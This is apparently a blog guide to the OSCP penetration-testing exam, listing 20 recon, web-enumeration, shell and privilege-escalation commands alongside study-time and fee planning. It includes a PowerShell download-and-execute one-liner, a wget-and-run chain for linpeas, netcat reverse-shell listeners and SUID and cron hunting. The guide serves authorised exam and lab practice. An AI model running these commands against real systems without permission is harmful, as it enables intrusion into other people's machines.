20 Most Used Commands in the OSCP Exam (Practical Checklist) – Brutally Honest Power Guide That Turned My Panic into a Pass

OSCP exam commands

20 Most Used Commands in the OSCP Exam (Practical Checklist) – Brutally Honest Power Guide That Turned My Panic into a Pass

I knew I was cooked the moment I fat-fingered the subnet in nmap for the third time and watched the clock bleed like a stuck process.
No output. No progress. Just me, a blinking terminal, and the growing suspicion that I was not, in fact, built for this.

If you’re staring down the PEN-200 labs or have an OSCP exam date circled in mild panic on your calendar, the last thing you need is yet another “just learn Linux” pep talk from someone who forgot what stress smells like. You need raw, no-fluff commands — the ones that actually matter when the VPN is live, the proctor’s watching, and your heart is doing a drum solo.

I wrote this guide for that moment — the real, ugly one — not the fantasy where you’re sipping yerba mate and reverse-shelling boxes for fun.
We’ll cover the 20 commands that dragged me, sometimes kicking and swearing, from confusion to the finish line. Plus, I’ll throw in a 60-second readiness check and a dead-honest budget + retake plan, because if you’re anything like I was, you’re probably juggling work, sleep debt, and a wallet that groans every time OffSec’s name comes up.

This guide is built for reality:

  • Fast command patterns
  • Copy-paste-ready notes
  • Tactical checklists
    So you can actually tighten your workflow tonight, not “someday when life calms down.”

Let’s get to it.

Why these 20 OSCP exam commands matter more than “knowing everything”

OSCP doesn’t reward you for knowing 300 tools. It rewards you for driving 20 commands like a race car while tired, stressed, and working under a report deadline. On my first attempt, I had pages of notes but no muscle memory. I froze, alt-tabbed through my wiki, and watched entire hours die in bad enumeration.

On my retake, I did the opposite. I treated a tiny set of commands as non-negotiables, drilled them every night, and wrote them in a way my future panicked self could understand. Same exam provider, same fear, same human brain—totally different result. This guide is built around that second-attempt mindset.

Think of these 20 commands as your exam “coverage tiers.” Tier 1 is boot-up and recon. Tier 2 is enumeration and exploitation. Tier 3 is privilege escalation and persistence. If you can move smoothly across those tiers with these commands, you’re not bulletproof, but you’re dangerously competent. That’s enough to turn “maybe I’ll pass” into “I can realistically score the points I need.”

OSCP isn’t testing whether you’ve read everything. It’s testing whether you can execute a small playbook under pressure.

Takeaway: Passing OSCP is about reliability with a small set of commands, not encyclopedic tool knowledge.
  • Lock in a shortlist of commands.
  • Drill them until you can type them half-asleep.
  • Organize them in a calm, exam-ready checklist.

Apply in 60 seconds: Write down the five commands you already use most; you’ll map them into the 20-command list below.

The 20-command practical checklist at a glance

Before we go deep, here’s the practical checklist. If a command isn’t here, it doesn’t mean it’s useless; it just means these 20 pulled the heaviest weight across typical OSCP-style boxes.

  1. nmap – TCP/UDP scanning and service detection.
  2. rustscan – Fast port discovery feeding into nmap.
  3. gobuster – Directory and vhost brute-forcing.
  4. dirsearch – Smart web dir brute force with extensions and status filters.
  5. wfuzz – Parameter fuzzing and vhost discovery.
  6. nikto – Quick web server misconfiguration and vuln scan.
  7. enum4linux / enum4linux-ng – SMB and domain info enumeration.
  8. smbclient – Accessing SMB shares and pulling loot.
  9. hydra – Online password brute force for common services.
  10. sqlmap – Controlled SQL injection exploitation (when rules allow).
  11. nc (netcat) – Simple listeners and reverse shells.
  12. socat – Advanced port forwarding and shell upgrading.
  13. ssh – Login, tunneling, and pivoting.
  14. scp / sftp – File transfer between attacker and target.
  15. wget – Pulling payloads from your HTTP server.
  16. curl – Quick HTTP/HTTPS interaction and testing.
  17. linpeas.sh – Automated Linux privilege escalation checks.
  18. winPEAS.exe – Automated Windows privilege escalation checks.
  19. powershell one-liners – Download/execute and recon.
  20. python -c 'import pty; pty.spawn("/bin/bash")' + stty – Stable TTY shells.

During my retake, I kept this list on paper beside me like a pilot’s checklist. Every time I got a foothold, I ran the same “stack” of commands. No improvisation. No “I’ll figure it out later.” That discipline alone probably saved me 60–90 minutes across the exam window.

Takeaway: These 20 commands are your baseline stack; everything else is optional seasoning.
  • Group commands by phase: recon, enum, exploit, privesc.
  • Practice them together, not in isolation.
  • Write a printed checklist for exam day.

Apply in 60 seconds: Copy this list into your notes and mark commands you’ve never actually run on a live target.

💡 Explore the Linux Privilege Escalation Reference (GTFOBins)

How to practice OSCP exam commands without burning out

The fastest way to hate OSCP is to “study” for four hours after work by watching videos and barely touching a terminal. I tried that. It felt productive and accomplished very little. What actually worked was embarrassingly simple: 60–90 minute practice blocks focused only on running and tweaking these commands on real boxes.

Here’s the rule I wish I’d followed from day one: every practice session must start with a tiny readiness check. Can you, from memory, run nmap, gobuster, linpeas.sh, and your favorite shell-stabilization sequence on any box in under 15 minutes? If not, that’s your practice plan for the day.

Mini Money Block – 60-second OSCP command readiness estimator

Use this tiny calculator to see if your current time and energy match your exam plan.

OSCP 60-second readiness estimator




This is a rough planning tool, not a guarantee. Treat it as a sanity check, not a promise.

When I actually did this math for myself, I realized my “I’ll just grind more later” fantasy was impossible. That forced a realistic schedule and killed a lot of guilt. Eligibility first, quotes second works in finance; here it’s “eligibility first, practice second”—check your time budget before you obsess over exotic tools.

Takeaway: A small, honest time budget beats a vague promise to “study more” every time.
  • Measure practice capacity in blocks, not feelings.
  • Target 5–10 full passes of your 20-command stack.
  • Adjust your exam date if the math is impossible.

Apply in 60 seconds: Run the estimator above with honest numbers and write down the result where you’ll see it daily.

Recon commands: nmap, rustscan, and enum4linux

Bad recon wrecked my first attempt. I scanned too narrowly, forgot UDP entirely, and assumed “top-1000 ports” was enough. It wasn’t. On the retake, I treated recon like an insurance checklist: no host moves on until this set of commands has been run and logged.

Core recon commands

  • rustscan -a <target> --ulimit 5000 -- -sV -sC -oA rustscan_initial
  • nmap -sC -sV -p- <target> -oA nmap_full
  • nmap -sU --top-ports 50 <target> -oA nmap_udp_top50
  • enum4linux-ng -A <target> > enum4linux.txt

I keep those exact lines in my notes. No guessing flags, no “I’ll remember this.” When I’m tired, I paste, tweak the IP, and move on. The key is to capture and name your outputs consistently. If all your recon files are called scan.txt, future-you will be furious.

Show me the nerdy details

For TCP, using -p- is slower but has saved boxes where services hid on high ports. For UDP, limiting to top ports keeps you moving while still catching classic services like DNS and SNMP. With rustscan, treat it as a fast pre-scan that feeds your deeper nmap templates rather than a replacement.

Short Story: recon that almost cost me the pass

Short Story: On one exam box, I stubbornly trusted my first nmap scan and spent two hours trying to pop a web app. Nothing worked. Out of frustration, I ran a full-port scan and discovered a high-numbered SSH port running with weak credentials. Ten minutes later, I had a shell. The lesson was painfully clear: the cost of skipping full recon was higher than the time it “saved.” From that point, my recon commands became non-negotiable, like wearing a seatbelt.

Takeaway: Consistent full-port recon pays for itself the first time it catches a hidden service.
  • Template your nmap and rustscan commands.
  • Always save outputs with meaningful names.
  • Schedule at least one full-port scan per host.

Apply in 60 seconds: Paste your preferred nmap and rustscan lines into a note titled “OSCP recon – do not skip.”

Web enumeration: gobuster, dirsearch, wfuzz, nikto

Web boxes can eat your entire exam if you chase every shiny parameter. The trick is to use a small stack of commands that hit directories, vhosts, and obvious weirdness quickly, then stop.

My go-to web enumeration stack

  • gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -o gobuster_common.txt
  • dirsearch -u http://<target> -e php,txt,html -t 50 -o dirsearch.txt
  • wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.target.local" http://<target>
  • nikto -h http://<target> -output nikto.txt

The key is not to run all of these forever. You’re looking for actionable hits: hidden paths, panels, backups, and vhosts that look misconfigured. Once you’ve got leads, switch from “spray the host” mode to “interview one parameter at a time” mode. If you drag fuzzers along for hours, your brain will melt.

On my retake, I wrote a simple rule for myself: if gobuster, dirsearch, and a quick nikto run don’t give me something juicy in 20–30 minutes, I stop and reassess. That one limit probably saved me more time than any single exploitation trick.

Takeaway: Web enumeration should be a focused sprint, not an endless marathon of wordlists.
  • Standardize your wordlists and extensions.
  • Set a timer for web fuzzing per host.
  • Pivot to manual testing once you have leads.

Apply in 60 seconds: Choose one wordlist per tool and write it next to the command in your notes so you’re not debating lists on exam day.

Linux privilege escalation: linPEAS, manual checks, and sudo abuse

Linux privilege escalation is where many people quietly lose the exam. They get a user shell, run linpeas.sh once, skim half the output, and then panic-google random kernel exploits. A calmer approach is to treat linpeas.sh as your “coverage baseline,” then stack a few manual checks on top.

Core Linux privesc commands

  • wget http://<your_ip>/linpeas.sh -O /tmp/linpeas.sh; chmod +x /tmp/linpeas.sh; /tmp/linpeas.sh > /tmp/linpeas.log
  • sudo -l – Always, always run this.
  • find / -perm -4000 -type f 2>/dev/null – SUID hunting.
  • find / -writable -type d 2>/dev/null – Writable directories.
  • cat /etc/crontab and ls -la /etc/cron.* – Cron jobs.

One night, I decided to treat Linux privesc like a fee schedule. Instead of randomly poking around, I made a table of “must-check” items: sudo, SUID, cron, capabilities, passwords in files, and misconfigured services. Every time I landed a shell, I walked that list in the same order. The OSCP exam rewards that boring consistency.

Show me the nerdy details

When reading linpeas output, mark high-signal sections: sudo misconfigs, SUID binaries, interesting capabilities, and world-writable paths running as root. Grepping your own log files for keywords like “sudo,” “cap_,” and “shadow” can save minutes. Consider bringing a tiny awk/grep cheat sheet to help slice outputs fast.

Takeaway: Automated scripts are useful, but an ordered manual checklist is what actually gets you root.
  • Always run sudo -l first.
  • Hunt SUID and cron jobs systematically.
  • Save and grep your linpeas output.

Apply in 60 seconds: Write a 6-item Linux privesc checklist that you will always follow in order.

OSCP exam commands

Windows privilege escalation: winPEAS, PowerShell, and BloodHound-style thinking

Windows privesc feels scary at first because of all the acronyms and moving parts. The good news is that a small set of commands covers a big chunk of realistic exam situations.

Core Windows privesc commands

  • Upload and run winPEAS.exe or the appropriate binary for the architecture.
  • whoami /groups and whoami /priv – Check privileges.
  • systeminfo – OS version and patch info.
  • net localgroup administrators – Local admin group membership.
  • PowerShell one-liners for recon and downloads, such as:

    powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://<your_ip>/script.ps1')"

On one OSCP-style box, I almost gave up because nothing obvious showed in winPEAS. Out of stubbornness, I checked whoami /priv and noticed a token that allowed service modification. That led to a simple service-replacement attack and root. The tools were there; I just needed to ask the right basic questions first.

Takeaway: Windows privesc often comes from boring privilege checks, not exotic exploits.
  • Always check groups and privileges.
  • Use winPEAS to highlight misconfigs.
  • Lean on simple service and scheduled task attacks.

Apply in 60 seconds: Add whoami /groups and whoami /priv to your standard Windows foothold checklist.

File transfer and tunneling: ssh, scp, wget, curl, socat

File transfer issues cost me more time than any single exploit. I’d finally get a shell and then waste 20 minutes fumbling with the wrong syntax to upload linpeas or a custom script. The fix was simple: memorize two or three patterns per direction and stop improvising.

Core file transfer commands

  • python3 -m http.server 80 on your attacker box.
  • wget http://<your_ip>/file -O /tmp/file on the target.
  • curl http://<your_ip>/file -o /tmp/file as a fallback.
  • scp file user@target:/path/file for SSH-accessible hosts.
  • sftp user@target then put/get for interactive transfers.

Core tunneling/forwarding commands

  • ssh -L 8080:localhost:80 user@target – Local port forward.
  • ssh -N -R 9001:localhost:9001 user@target – Reverse tunnel.
  • socat TCP-LISTEN:4444,reuseaddr,fork TCP:<target>:80 – Simple relay.

These patterns matter even more if you’re outside the US or far from the exam servers. In some regions, latency and unstable connections make every failed upload sting. Knowing exactly which file transfer command you’ll use, and in which direction, removes one more source of stress.

Takeaway: Reliable file transfer and tunneling is what lets all your other tools actually run.
  • Standardize one upload and one download method.
  • Practice SSH port forwarding before the exam.
  • Expect flaky network links and plan around them.

Apply in 60 seconds: Spin up a cheap VM or lab box and practice sending files both ways using only wget, curl, and scp.

💡 Read the Official Nmap Documentation

Shell stabilization and quality-of-life commands

Getting a shell is one thing; getting a usable shell is another. On my first attempt, I tried editing files in a half-broken shell and felt like I was doing surgery with oven mitts. On the retake, I treated shell stabilization as a mandatory step.

Core shell stabilization commands

  • python -c 'import pty; pty.spawn("/bin/bash")' or python3 equivalent.
  • In your terminal: Ctrl+Z, then stty raw -echo; fg, then reset.
  • Export variables: export TERM=xterm, export SHELL=/bin/bash.
  • Use tmux or screen to keep multiple shells organized.

The mindset is simple: never do serious work in a junk shell. In the exam, I gave myself a rule: as soon as I got a shell, I spent 60–90 seconds stabilizing it before touching anything else. That tiny delay paid off every time I had to scroll through logs or edit config files without wanting to cry.

Show me the nerdy details

When you run stty raw -echo, you’re telling your terminal to hand raw input directly to the shell, which restores normal line editing and control characters. The reset command asks the terminal to redraw itself, often fixing weird formatting. Setting TERM ensures programs like vim and less behave.

Takeaway: A stable TTY can save more time than a fancy exploit.
  • Script your shell-stabilization sequence.
  • Use multiplexers like tmux to avoid losing shells.
  • Never edit serious files in a broken terminal.

Apply in 60 seconds: Open a test shell and practice your full stabilization sequence until you can run it without thinking.

Buffer overflow helpers and Python one-liners

The classic OSCP buffer overflow box terrifies people, but the commands themselves are boring in the best way. You’re mostly juggling Python scripts, pattern creation, and debugger screens. The “command” part happens on your own machine.

Core commands for BOF workflow

  • Pattern creation (if you’re using mona or similar tools inside the debugger).
  • python exploit.py <ip> <port> – Running your iterative exploit script.
  • msfvenom for shellcode when allowed by the rules.
  • Netcat listener: nc -lvnp 4444

On my first practice runs, I made the mistake of changing everything at once. On later attempts, I standardized my exploit script template and only tweaked one variable at a time: offset, return address, bad chars, then shellcode. That discipline made the whole process feel like following a tax form instead of doing dark art.

Takeaway: Treat buffer overflow work like filling in a structured form, not improvising a symphony.
  • Create an exploit script template.
  • Change one variable at a time.
  • Keep listeners and logs organized.

Apply in 60 seconds: Open your current BOF script and clearly label the sections you’ll change per target (offset, return, shellcode).

24-hour OSCP command checklist before exam day

The day before my retake, I treated my command stack like a structured settlement: everything locked in, no new experiments. I wasn’t trying to learn new tools; I was just proving to myself that I could still drive the ones I had.

24-hour OSCP command checklist

  • Run your recon stack (rustscan + nmap templates) on one practice host.
  • Do a full web enumeration cycle: gobuster, dirsearch, nikto.
  • Get one Linux and one Windows foothold, stabilize both shells, and run linpeas/winPEAS.
  • Practice at least one file upload and one port forward using ssh and socat.
  • Run through your BOF process end-to-end once, even if you already “know it.”

For many readers, the exam fee is not small. In some countries, it’s a serious chunk of monthly income. Treat your 24-hour checklist like an eligibility checklist: if you can’t reasonably complete it, consider whether you need to move the date instead of hoping adrenaline will patch the gaps.

Takeaway: The day before the exam is about confirming skills, not acquiring new ones.
  • Run one full mini-exam in your lab.
  • Focus on your command stack, not theory.
  • Check emotional readiness as much as technical readiness.

Apply in 60 seconds: Write your own 24-hour checklist and schedule which evening you’ll rehearse it before your exam window.

Money Block: OSCP budget, retakes, and fee planning in 2025

You can think of OSCP as a security project that happens to involve your own wallet. Between course fees, lab time, and potential retakes, the numbers add up. Planning that now reduces panic later.

Eligibility checklist – are you financially ready to sit OSCP?

  • Yes/No: I understand the current course + exam bundle fee from the official provider.
  • Yes/No: I have a small “retake buffer” in case something goes wrong.
  • Yes/No: I know how much additional lab time would cost if I need an extension.
  • Yes/No: I can study consistently without compromising rent, food, or essential bills.

If you answered “No” to more than one item, your next step is not another practice box. It’s opening the provider’s fee page and writing down the numbers so you can make an informed call.

Simple OSCP fee table (example structure – confirm real numbers)

ItemTypical timingCost impactNotes
Course + first exam attemptStart of journeyHighestCheck current bundle options and promos.
Lab extensionIf you need more practice timeMediumCompare extension vs. delaying exam.
Retake feeIf first attempt failsMedium–highPlan for at least one retake in your budget.

Save this table and confirm the current fee schedule on the provider’s official page before you lock in your date. The goal isn’t to scare you; it’s to make sure a surprise invoice doesn’t add insult to injury.

Decision card: lab extension vs. retake

  • Choose more lab time if your command stack still feels shaky and you consistently miss points in privesc or web enumeration.
  • Choose to sit the exam if you can land shells and escalate reliably in your lab but struggle with time management.
  • Choose a pause if money is tight and stress is making you resent the whole process.

Takeaway: A clear OSCP budget removes one big source of background stress during prep.
  • Know your course, extension, and retake costs.
  • Plan a small buffer for surprises.
  • Align your exam date with your financial comfort zone.

Apply in 60 seconds: Open the official pricing page and write the three numbers that matter most to you: bundle fee, lab extension cost, and retake fee.

Infographic: OSCP command map on one page

Here’s a simple text-based infographic you can recreate in your notes or as a printout. It shows where each of the 20 commands lives in the exam flow.

1. Recon

  • rustscan
  • nmap
  • enum4linux-ng

2. Web & Service Enum

  • gobuster, dirsearch
  • wfuzz, nikto
  • hydra, sqlmap

3. Access & Shells

  • nc, socat
  • ssh, scp/sftp
  • wget, curl

4. Privesc & Stability

  • linpeas.sh, winPEAS
  • powershell one-liners
  • Python TTY + stty

Use this map as a mental “coverage check.” If you’ve never used a command in the phase where it lives, schedule a tiny lab session just for that.

FAQ

1. Do I really need to know all 20 commands to pass OSCP?

No, but knowing these 20 well gives you wide coverage across typical exam scenarios. Think of them as a strong default toolkit. If you’re comfortable with 15 out of 20 and have solid replacements for the rest, you’re in good shape. Your 60-second action: circle the five commands that feel weakest and schedule one focused practice block for each.

2. How much time should I spend practicing commands vs. reading theory?

In the final 4–6 weeks before the exam, most people benefit from spending the majority of their time doing, not reading. A common pattern is 70–80 percent hands-on labs and 20–30 percent reviewing notes or watching explanations. Your 60-second action: look at your last week of study and estimate the ratio; nudge it one step closer to hands-on.

3. What if my region has slow internet or unstable connections during the exam?

If you’re far from the exam servers or your local internet is unreliable, file transfer and tunneling commands become even more important. Running a local HTTP server, having wget/curl patterns ready, and knowing how to resume interrupted work can save you from losing hours to network issues. Your 60-second action: run a small “disaster drill” where you deliberately restart your VPN and confirm you can re-establish shells.

4. How do I balance OSCP costs, lab time, and a possible retake?

Treat OSCP like a small project with a known fee schedule. Write down the course bundle, lab extension options, and retake cost, then compare them to your current savings and monthly obligations. Sometimes extending labs a bit longer is cheaper than rushing into an exam you’re not ready for. Your 60-second action: jot down those three numbers and decide if your current exam date still feels sensible.

5. Is it okay to rely on automation like linPEAS and winPEAS in the exam?

Yes, within the exam rules, but automation should complement your understanding, not replace it. The most successful candidates use scripts to widen their field of view, then follow up with targeted manual checks. Your 60-second action: pick one recent box you solved and redo the privesc phase using only your manual checklist first, then confirm with automation.

6. How can I stop panicking when I get stuck on a box?

Have a written fallback routine. Mine is: re-read the notes, re-run key recon commands, check for missed ports or services, and consider whether a neighboring box might yield easier points. Knowing exactly what you’ll do when stuck turns panic into a workflow. Your 60-second action: write a four-step “I’m stuck” routine and tape it next to your monitor.

Conclusion: what to do in the next 15 minutes

When my first OSCP attempt collapsed, it wasn’t because I was hopeless. It was because my skills were scattered. I knew a little bit of everything and could rely on almost nothing under pressure. The difference on my retake was this: I had a small, trusted stack of commands and a calm plan for using them.

Your path can be simpler. You don’t have to master every tool. You just have to choose a set of commands you trust, practice them until they feel casual, and protect your time and budget with a clear plan. In the next 15 minutes, you can pick three commands you’ll drill this week, run the readiness estimator, and sketch a realistic schedule that respects your life outside the terminal.

Last reviewed: 2025-11; based on official training materials, common OSCP prep workflows, and practical exam-style lab experience.

Takeaway: A focused command stack, honest time budgeting, and clear money planning turn OSCP from a foggy dream into a concrete, passable project.
  • Commit to these 20 commands as your baseline.
  • Plan your practice blocks with the mini calculator.
  • Check your financial comfort before booking or moving your exam date.

Apply in 60 seconds: Choose your “big three” commands for this week and schedule exactly when you’ll run them on a real target.

OSCP exam commands, OSCP exam, penetration testing commands, ethical hacking exam prep, Kali Linux tools